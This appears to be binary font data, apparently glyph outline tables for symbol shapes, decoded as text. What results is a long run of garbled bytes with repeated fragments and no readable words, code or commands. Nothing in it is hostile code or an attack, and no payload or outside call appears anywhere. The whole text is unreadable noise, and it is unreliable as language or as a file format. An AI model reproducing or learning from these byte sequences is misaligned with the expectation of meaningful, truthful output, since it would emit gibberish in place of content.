!;+AEIMd|����"'&'&4767632"'&'&476762"'&'&4767632!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�$$%��$H��$%$�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$?H%$	JHHG������%��=�%$J��&$$%H$%$%H��H$%$%H
�F
!;+AW[_cz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632'H$%$%H��H$%$%H��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$J��J%$J%$S$J������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;+AWnrvz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632'H$%$%H��H$%$%H��&$I��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$J��J%$J%$S$J�$$%������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;*@Ui��������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3"'&'&5476762"'&'&5476762 "'&'&4767632"'&'.76762"'&'.76762"'&'&4767632�$H%$H��I&$UIHIH�}I&$�	Y���ٍ��$I%$I��I%$0$H%$H��I%$RHI��%$HG$$%$H��GH%$H������%��=�%$I��&$IHIIH��HIIH��m!5!!��$����f����m!!7!!!!�����%��=m���?�'���m"2#"'&'&47676!!7!!!!E$$%������%��=&$Ih���?�'���m+/37476762#"'&'&476762"'&'&!!7!!!!�H%$HG������%��=|$I;$%$����?�'���m+AEIM476762#"'&'&476762"'&'&476762"'&'&!!7!!!!�H%$	JHHG������%��=|$$%2$H.$%$����?�'���m+AW[_c2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!N$J��J%$J%$S$J������%��=H$%��$%H"H$%��$%Hq���?�'���m+AWnrvz2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!N$J��J%$J%$S$J�$$%������%��=H$%��$%H"H$%��$%H	&$Ih���?�'�	��m*@Ui���%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!�HJ��%$HG$$%$H��GH%$H������%��=�$H%$H3J&$��JHJH�J&$��?�'���m!2#"'&'&47676!!7!!!!E$$%������%��=kJH���?�'���m,0482#"'&'&476762#"'&'&47676!!7!!!!E$$%%$$%������%��=iJH��&$Ih���?�'���m,BFJN2#"'&'&47676476762#"'&'&476762"'&'&!!7!!!!E$$%��H%$HG������%��=kJH�$$%;$%$����?�'���m,AW[_c2#"'&'&47676476762#"'&'&476762"'&'&476762"'&'&!!7!!!!E$$%��H%$	JHHG������%��=kJH�$$%2$H.$%$����?�'���m+AWmquy2#"'&'&476762"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!E$$%.$J��J%$J%$S$J������%��=kJH��H$%��$%H"H$%��$%Hq���?�'�	��m+AWm����2#"'&'&476762"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!E$$%.$J��J%$J%$S$J�$$%������%��=kJH��H$%��$%H"H$%��$%H	&$Ih���?�'�
��m*@Vk����2#"'&'&47676476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!E$$%�HJ��%$HG$$%$H��GH%$H������%��=kJH�&$H%$H3J&$��JHJH�J&$��?�'���m+/37476762#"'&'4767632"'&'&!!7!!!!�H$%$%H������%��=�J%$S$J����?�'���m"8N2#"'&'&47676!!7!!!!476762#"'&'4767632"'&'&E$$%������%��=H$%$%H&$Ih���?�'�IJ%$S$J��m,048Nd476762#"'&'&476762"'&'&!!7!!!!476762#"'&'4767632"'&'&�H%$HG������%��=H$%$%H|$$%;$%$����?�'�IJ%$S$J��m+AEIMcy476762#"'&'&476762"'&'&476762"'&'&!!7!!!!476762#"'&'4767632"'&'&�H%$	JHHG������%��=H$%$%H|$$%2$H.$%$����?�'�IJ%$S$J	��m+AW[_cy�2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!476762#"'&'4767632"'&'&N$J��J%$J%$S$J������%��=H$%$%HH$%��$%H"H$%��$%Hq���?�'�IJ%$S$J
��m+AWnrvz��2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!476762#"'&'4767632"'&'&N$J��J%$J%$S$J�$$%������%��=H$%$%HH$%��$%H"H$%��$%H	&$Ih���?�'�IJ%$S$J��m*@Ui�����%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!476762#"'&'4767632"'&'&�HJ��%$HG$$%$H��GH%$H������%��=H$%$%H�$H%$H3J&$��JHJH�J&$��?�'�IJ%$S$J��m+AEIM476762#"'&'476762"'&'&4767632"'&'&!!7!!!!�H$%�JI	$%H������%��=�J%$J$$%.$J����?�'���m+AX\`d476762#"'&'476762"'&'&4767632"'&'&2#"'&'&47676!!7!!!!�H$%�JI	$%H�$$%������%��=�J%$J$$%.$J�+&$Ih���?�'���m+AXnrvz476762#"'&'476762"'&'&4767632"'&'&476762#"'&'&476762"'&'&!!7!!!!�H$%�JI	$%H��H%$HG������%��=�J%$J$$%.$J��$$%;$%$����?�'�	��m+AXm����476762#"'&'476762"'&'&4767632"'&'&476762#"'&'&476762"'&'&476762"'&'&!!7!!!!�H$%�JI	$%H��H%$	JHHG������%��=�J%$J$$%.$J��$$%2$H.$%$����?�'�
��m+AWm�����476762#"'&'476762"'&'&4767632"'&'&2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!�H$%�JI	$%Hz$J��J%$J%$S$J������%��=�J%$J$$%.$J�4H$%��$%H"H$%��$%Hq���?�'���m+AWm������476762#"'&'476762"'&'&4767632"'&'&2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!�H$%�JI	$%Hz$J��J%$J%$S$J�$$%������%��=�J%$J$$%.$J�4H$%��$%H"H$%��$%H	&$Ih���?�'���m+AVl�������476762#"'&'476762"'&'&4767632"'&'&476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!�H$%�JI	$%HHJ��%$HG$$%$H��GH%$H������%��=�J%$J$$%.$J��$H%$H3J&$��JHJH�J&$��?�'���m)>SW[_2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676!!7!!!!N$I��I%$I%$S$I������%��=tHI��IH"HI��IH���?�'���m!6K`u2"'&'&47676!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676E$I������%��=m$I��I%$I%$S$I&$Ih���?�'��HI��IH"HI��IH	��m,048Ndz�476762#"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�H%$HG������%��=m$J��J%$J%$S$J|$$%;$%$����?�'��H$%��$%H"H$%��$%H
��m+AEIMcy��476762#"'&'&476762"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�H%$	JHHG������%��=m$J��J%$J%$S$J|$$%2$H.$%$����?�'��H$%��$%H"H$%��$%H��m+AW[_cy���2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676N$J��J%$J%$S$J������%��=m$J��J%$J%$S$JH$%��$%H"H$%��$%Hq���?�'��H$%��$%H"H$%��$%H��m)>Simqu����2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676N$I��I%$I%$S$I�$I������%��=m$I��I%$I%$S$IHI��IH"HI��IH	&$Ih���?�'��HI��IH"HI��IH
��m*@Ui�������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�HJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$H%$H3J&$��JHJH�J&$��?�'��H$%��$%H"H$%��$%H��m!7Mcy!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�����%��=m$J��J%$J%$S$J�$$%m���?�'��H$%��$%H"H$%��$%H	JH	��m"8Ndz�2#"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676E$$%������%��=m$J��J%$J%$S$J�$$%&$Ih���?�'��H$%��$%H"H$%��$%H	JH
��m+/37Lav��476762#"'&'&476762"'&'&!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676�H%$HG������%��=m$I��I%$I%$S$I�$I|$I;$%$����?�'��HI��IH"HI��IH	JH��m+AEIMcy���476762#"'&'&476762"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�H%$	JHHG������%��=m$J��J%$J%$S$J�$$%|$$%2$H.$%$����?�'��H$%��$%H"H$%��$%H	JH��m+AW[_cy����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676N$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�$$%H$%��$%H"H$%��$%Hq���?�'��H$%��$%H"H$%��$%H	JH
��m+AWnrvz�����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676N$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J�$$%H$%��$%H"H$%��$%H	&$Ih���?�'��H$%��$%H"H$%��$%H	JH��m*@Ui��������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�HJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$$%�$H%$H3J&$��JHJH�J&$��?�'��H$%��$%H"H$%��$%H	JH	��m":Pf|�!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�����%��=�%$J��&$$%H$%$%H��H$%$%Hm���?�'�|$$%%$$%3J%$��$H%$HkJ%$
��m"9Qg}��2#"'&'&47676!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'E$$%������%��=�%$J��&$$%H$%$%H��H$%$%H&$Ih���?�'�|$$%%$$%3J%$��$H%$HkJ%$��m,048Og}���476762#"'&'&476762"'&'&!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�H%$HG������%��=�%$J��&$$%H$%$%H��H$%$%H|$$%;$%$����?�'�|$$%%$$%3J%$��$H%$HkJ%$��m+AEIMd|����476762#"'&'&476762"'&'&476762"'&'&!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�H%$	JHHG������%��=�%$J��&$$%H$%$%H��H$%$%H|$$%2$H.$%$����?�'�|$$%%$$%3J%$��$H%$HkJ%$
��m+AW[_cz�����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'N$J��J%$J%$S$J������%��=�%$J��&$$%H$%$%H��H$%$%HH$%��$%H"H$%��$%Hq���?�'�|$$%%$$%3J%$��$H%$HkJ%$��m)>Simqu������2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676!!7!!!!4767632"'&'&%4767632"'&'&476762'&'4767>"'&'&%4767>"'&'&476762'&'N$I��I%$I%$S$I�$I������%��=�%$I��&$IHIIH��HIIHHI��IH"HI��IH	&$Ih���?�'�|$I%$I4I%$��$H%$HlI%$��m*@Ui��������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!4767632"'&'&%4767632"'&'&476762'&'4767>"'&'&%4767>"'&'&476762'&'�HI��%$HG$$%$H��GH%$H������%��=�%$I��&$IHIIH��HIIH�$H%$H4I&$��IHIH�I&$��?�'�|$I%$I4I%$��$H%$HlI%$�gm"3!254#%!2#!"54!�xx�xx�A���A�,G�x��xxyxx���y�����gm$03;#"'##65##"5476"3!254#%!2#!"54!3#'!#�A;	�lB;�;Bl�	;�"xx�xx�A���A�K�Қ �D��D�y�~&%N��kk̛�N%&�Vx��xxyxx���y�U�����gm$0I#"'##65##"5476"3!254#%!2#!"54!!56754&#"5>32�A;	�lB;�;Bl�	;�"xx�xx�A���A�����"?XhU4zHM�9����8y�~&%N��kk̛�N%&�Vx��xxyxx���y�?rn81^BQ##{�l���0�gm$0Y#"'##65##"5476"3!254#%!2#!"54#"&'532654&+532654&#"5>32�A;	�lB;�;Bl�	;�"xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Zy�~&%N��kk̛�N%&�Vx��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm$03>#"'##65##"5476"3!254#%!2#!"54	!33##5!5�A;	�lB;�;Bl�	;�"xx�xx�A���A����5�����by�~&%N��kk̛�N%&�Vx��xxyxx���y�]��m��y�gm$0Q#"'##65##"5476"3!254#%!2#!"54!!67632#"&'53264&#"�A;	�lB;�;Bl�	;�"xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6y�~&%N��kk̛�N%&�Vx��xxyxx���y��_�	ML��KJq
f�f�gm$0@`#"'##65##"5476"3!254#%!2#!"54"327654'&&'&#"67632#"&547632�A;	�lB;�;Bl�	;�"xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122y�~&%N��kk̛�N%&�Vx��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm$07#"'##65##"5476"3!254#%!2#!"54!#!�A;	�lB;�;Bl�	;�"xx�xx�A���A��i���H�3y�~&%N��kk̛�N%&�Vx��xxyxx���y��0����gm$0=[j#"'##65##"5476"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"�A;	�lB;�;Bl�	;�"xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/y�~&%N��kk̛�N%&�Vx��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm$0P_#"'##65##"5476"3!254#%!2#!"54532767#"&547632#"'&2654'&#"�A;	�lB;�;Bl�	;�"xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443y�~&%N��kk̛�N%&�Vx��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm$0>JQ#"'##65##"5476"3!254#%!2#!"54"27654/2#"&546573�A;	�lB;�;Bl�	;�"xx�xx�A���A��2332�233y��������t���y�~&%N��kk̛�N%&�Vx��xxyxx���y��VV��VVVV��V�����������)t'���gm$0=#"'##65##"5476"3!254#%!2#!"543+53265�A;	�lB;�;Bl�	;�"xx�xx�A���A��A@�1(TFy�~&%N��kk̛�N%&�Vx��xxyxx���y��ܕFE`Tl�gm$0J#"'##65##"5476"3!254#%!2#!"54#"&54632.#"3267�A;	�lB;�;Bl�	;�"xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.y�~&%N��kk̛�N%&�Vx��xxyxx���y������t"$����$"�gm4@L"#"&54632&#"32#"'##65##"5476"3!254#%!2#!"54�������VX~_
Ua`UU`a�A;	�lB;�;Bl�	;�"xx�xx�A���A�,�����ۥ�(j8�p�����ny�~&%N��kk̛�N%&�Vx��xxyxx���y��gm$0;#"'##65##"5476"3!254#%!2#!"5433	##�A;	�lB;�;Bl�	;�"xx�xx�A���A��j��i���xy�~&%N��kk̛�N%&�Vx��xxyxx���y��a�z�B��m�gm!-0867632	&547632"3!254#%!2#!"54!3#'!#�7>T�>}���}?�V<7�xx�xx�A���A�K�Қ �D��D��v>G�-;���n���;-�GA�x��xxyxx���y�U�����gm!-F67632	&547632"3!254#%!2#!"54!!56754&#"5>32�7>T�>}���}?�V<7�xx�xx�A���A�����"?XhU4zHM�9����8�v>G�-;���n���;-�GA�x��xxyxx���y�?rn81^BQ##{�l���0�gm!-V67632	&547632"3!254#%!2#!"54#"&'532654&+532654&#"5>32�7>T�>}���}?�V<7�xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z�v>G�-;���n���;-�GA�x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm!-0;67632	&547632"3!254#%!2#!"54	!33##5!5�7>T�>}���}?�V<7�xx�xx�A���A����5�����b�v>G�-;���n���;-�GA�x��xxyxx���y�]��m��y�gm!-N67632	&547632"3!254#%!2#!"54!!67632#"&'53264&#"�7>T�>}���}?�V<7�xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6�v>G�-;���n���;-�GA�x��xxyxx���y��_�	ML��KJq
f�f�gm!-=]67632	&547632"3!254#%!2#!"54"327654'&&'&#"67632#"&547632�7>T�>}���}?�V<7�xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122�v>G�-;���n���;-�GA�x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm!-467632	&547632"3!254#%!2#!"54!#!�7>T�>}���}?�V<7�xx�xx�A���A��i���H�3�v>G�-;���n���;-�GA�x��xxyxx���y��0����gm!-:Xg67632	&547632"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"�7>T�>}���}?�V<7�xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/�v>G�-;���n���;-�GA�x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm!-M\67632	&547632"3!254#%!2#!"54532767#"&547632#"'&2654'&#"�7>T�>}���}?�V<7�xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443�v>G�-;���n���;-�GA�x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm!-;GN67632	&547632"3!254#%!2#!"54"27654/2#"&546573�7>T�>}���}?�V<7�xx�xx�A���A��2332�233y��������t����v>G�-;���n���;-�GA�x��xxyxx���y��VV��VVVV��V�����������)t'���gm!-:67632	&547632"3!254#%!2#!"543+53265�7>T�>}���}?�V<7�xx�xx�A���A��A@�1(TF�v>G�-;���n���;-�GA�x��xxyxx���y��ܕFE`Tl�gm!-G67632	&547632"3!254#%!2#!"54#"&54632.#"3267�7>T�>}���}?�V<7�xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.�v>G�-;���n���;-�GA�x��xxyxx���y������t"$����$"�xm1=I"#"&54632&#"3267632	&547632"3!254#%!2#!"54�������VX~_
Ua`UU`a�7>T�>}���}?�V<7�xx�xx�A���A�,�����ۥ�(j8�p������0v>G�-;���n���;-�GA�x��xxyxx���y��gm!-867632	&547632"3!254#%!2#!"5433	##�7>T�>}���}?�V<7�xx�xx�A���A��j��i���x�v>G�-;���n���;-�GA�x��xxyxx���y��a�z�B��m�gm!)0	00"3!254#%!2#!"54!3#'!#���h�f��xx�xx�A���A�K�Қ �D��D����
x��xxyxx���y�U�����gm70	00"3!254#%!2#!"54!!56754&#"5>32���h�f��xx�xx�A���A�����"?XhU4zHM�9����8���
x��xxyxx���y�?rn81^BQ##{�l���0�gmG0	00"3!254#%!2#!"54#"&'532654&+532654&#"5>32���h�f��xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z���
x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm!,0	00"3!254#%!2#!"54	!33##5!5���h�f��xx�xx�A���A����5�����b���
x��xxyxx���y�]��m��y�gm?0	00"3!254#%!2#!"54!!67632#"&'53264&#"���h�f��xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6���
x��xxyxx���y��_�	ML��KJq
f�f�gm.N0	00"3!254#%!2#!"54"327654'&&'&#"67632#"&547632���h�f��xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122���
x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm%0	00"3!254#%!2#!"54!#!���h�f��xx�xx�A���A��i���H�3���
x��xxyxx���y��0����gm+IX0	00"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"���h�f��xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/���
x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm>M0	00"3!254#%!2#!"54532767#"&547632#"'&2654'&#"���h�f��xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443���
x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm,8?0	00"3!254#%!2#!"54"27654/2#"&546573���h�f��xx�xx�A���A��2332�233y��������t������
x��xxyxx���y��VV��VVVV��V�����������)t'���gm+0	00"3!254#%!2#!"543+53265���h�f��xx�xx�A���A��A@�1(TF���
x��xxyxx���y��ܕFE`Tl�gm80	00"3!254#%!2#!"54#"&54632.#"3267���h�f��xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.���
x��xxyxx���y������t"$����$"�gm".:0	00"#"&54632&#"32"3!254#%!2#!"54���h�f5������VX~_
Ua`UU`a�uxx�xx�A���A����A�����ۥ�(j8�p�����ox��xxyxx���y��gm)0	00"3!254#%!2#!"5433	##���h�f��xx�xx�A���A��j��i���x���
x��xxyxx���y��a�z�B��m�gm	!!	!"3!254#%!2#!"54������������0xx�xx�A���A�1�G��G���}x��xxyxx���y��gm#/;>F65'&'&547632&54 632'"3!254#%!2#!"54!3#'!#U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�K�Қ �D��D��L��C�4$��j��j��$4�F�L�x��xxyxx���y�U�����gm#/;T65'&'&547632&54 632'"3!254#%!2#!"54!!56754&#"5>32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�����"?XhU4zHM�9����8�L��C�4$��j��j��$4�F�L�x��xxyxx���y�?rn81^BQ##{�l���0�gm#/;d65'&'&547632&54 632'"3!254#%!2#!"54#"&'532654&+532654&#"5>32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z�L��C�4$��j��j��$4�F�L�x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm#/;>I65'&'&547632&54 632'"3!254#%!2#!"54	!33##5!5U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A����5�����b�L��C�4$��j��j��$4�F�L�x��xxyxx���y�]��m��y�gm#/;\65'&'&547632&54 632'"3!254#%!2#!"54!!67632#"&'53264&#"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6�L��C�4$��j��j��$4�F�L�x��xxyxx���y��_�	ML��KJq
f�f�gm#/;Kk65'&'&547632&54 632'"3!254#%!2#!"54"327654'&&'&#"67632#"&547632U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122�L��C�4$��j��j��$4�F�L�x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm#/;B65'&'&547632&54 632'"3!254#%!2#!"54!#!U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��i���H�3�L��C�4$��j��j��$4�F�L�x��xxyxx���y��0����gm#/;Hfu65'&'&547632&54 632'"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/�L��C�4$��j��j��$4�F�L�x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm#/;[j65'&'&547632&54 632'"3!254#%!2#!"54532767#"&547632#"'&2654'&#"U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443�L��C�4$��j��j��$4�F�L�x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm#/;IU\65'&'&547632&54 632'"3!254#%!2#!"54"27654/2#"&546573U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��2332�233y��������t����L��C�4$��j��j��$4�F�L�x��xxyxx���y��VV��VVVV��V�����������)t'���gm#/;H65'&'&547632&54 632'"3!254#%!2#!"543+53265U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��A@�1(TF�L��C�4$��j��j��$4�F�L�x��xxyxx���y��ܕFE`Tl�gm#/;U65'&'&547632&54 632'"3!254#%!2#!"54#"&54632.#"3267U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.�L��C�4$��j��j��$4�F�L�x��xxyxx���y������t"$����$"�gm#/;MW65'&'&547632&54 632'"3!254#%!2#!"54"#"&54632&#"32U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A�3������VX~_
Ua`UU`a�L��C�4$��j��j��$4�F�L�x��xxyxx���y������ۥ�(j8�p������gm#/;F65'&'&547632&54 632'"3!254#%!2#!"5433	##U9H�5�?�K1|�|1K�?�5�I9��xx�xx�A���A��j��i���x�L��C�4$��j��j��$4�F�L�x��xxyxx���y��a�z�B��m�gm	+!%%!%%"3!254#%!2#!"54d��ec��b����`����b����Mxx�xx�A���A�n�ξ�;�3���o(��T���"(Ux��xxyxx���y���j�n! ! �tu������u�������j�n	 !! ! ,=��C��`�tu������<=���u�������j�n! !  !������ut�~<��A�����tu���<=���j�n! !  !������ut�~<��A������tu���<=����j�n! ! ! ! �tu������<=��C���A�u�����t��C�<=��@��j�n! ! % �tu������`����A��u������{��@���C��j�n! ! 0 �tu��������A��u������{��@���C��j�n	% ! ! +��a��C�������ut��@���C�����tu����j�V#+3�462"7"32654$"&462"32654462"6"&4622>7>54&'&'>54&#"&547&"'654.#"'72>32%%"&''%&/'%.547&54632�B\BB\t-
.�B\BB\,
-�o  �  �lN.	�;qsV6C70AIbbOS�C�*�*�C�SObbIA07C6Vsq;�	.8�L+ʏ��]�K��Y�����
 ��� �
����Y��K�]����+8�gg�g�=>u�gg�g�=>�"6''6']6''6'�$9]W>:�Lkt�LJ�73(#�XQik�\B?&STTS&?B\�kiQX�#(37�JL�tkL���>W]9�����r��lȡ~3D#�@�m��m�@�#D3~��lȬr�����K�j	-�	"(,����"&4632'2654#"3#"&46327'7#5%32767654'&'7>732>7>54'.#"&$ &/.#"3276%2654#"'747'&'#".'.54>7>32676 767>32+"&'&'&'&'& '326y2>=32>=-5nnI3=>23=>�S3�9?*�n��B?94��iE�B9?B

R' 8%/61.4&++ #?Y=������=Y?# ++&4.16/%8 'R

-�*?9��
9
!;+57?
B:),#3�A32%A(7���7(A%23A�3#,):B
?75+;!
9

"`	 B6�Ĉ6B 	_#
4a��a7�k~�n�nn�nA���n�nn�n�-ں��M�ғv$DK;7"
D;KD$v
h5WM' 1
*L7.4(#"N�emme�N"#(4.7L*
1 'MW5hNA������*,P�I	
,9	:kR4_5"2S''RNNR''S2"5_4Rk:	9,
	I�P,*0(sBD0H.&&.H0DBs(��$'&=�j(2AN�7327327#"'#""'72#"'&547632">7&>32#"'&327654'&#"654.'&'&#"&'%% 767%767%7&54>76?62>?''! '&'7&''�\E[:TT:[E\l�JDEI��>z�z>Z���+Q (F65/AFeN$0+E�dFB/56F( Qy0(
,@�

*�t��t��*
B
����g��굤g����
��&<��]i�i]��;&l
m nmu�����vmmm
�b@,,@bd�x==x.L#$-G0,a&0$4%Ca,0G-$#;��t.f>v��:��:��rAe.t�+B,E@y>z�w��w�z>y9L,B=|�9jwA�u�:	�a

a�	:�u�Awj9�|BQW.>.������.>.QWB��j�%1;Gh���462"7"32654"547632"&462432#"'&"3265473267!"& 7654'>54'&#".#" 632+ '.'&'#"&'&'&54632676&#";67&%32767654&'&#"RtRRt�78,%,%
RtRRt��%,%,78��j��`�;j������|TVZ�GqpG�ZVT|�j7aij�
"�Y:8�m���m�8:Y�"
�jia� 
(+G&<5t5<&G+(
 tRRtRh11�R $ $tRRtR�$ $k11��T�XLT�r��˚���,0^1�ioE55Eoi�1^0,�����|����,6[?Ki{pn�7LL7�np{iK?[6,����|��R:3�/�{W``W{�/�3:R	��j�n".49>BF4632#"&%462#"&! ! ! ! ! 67##%67#5#�Q;:RR:;QBRtSS:;Q�m�<=��C���A�tu������������XL���LHd� e�;QQ;:SS:;QQ;:SS��C�<=��@��u�����j����j�*%��Z��*�Rd��f	��j�n#/5:?CG! ! ! ! 462#4&"!462#4&"! 67##%67#5#1�<=��C���A�tu�������Č�=T=�)�Č�=T=��������XL���LHd� e��C�<=��@��u�������ŋSwwS��ŋSwwS�����j�*%��Z��*�Rd��f	_�j�n#/Y~5#67##67#%! 462#4&"!462#4&"! "'&/! &"&5476?&7! 4'#"'&/&'&! 6?"'<e)Hd�L�L�XL��N������X�Č�=T=ɌČ�=T=��tu];6L*���������+
L6<\��<=�%&-�)/�����/)�-L��fPRd��Z��**%�����j���ŋSwwS��ŋSwwS�u��%&69 �����96&%��C�<9�-ǚ���
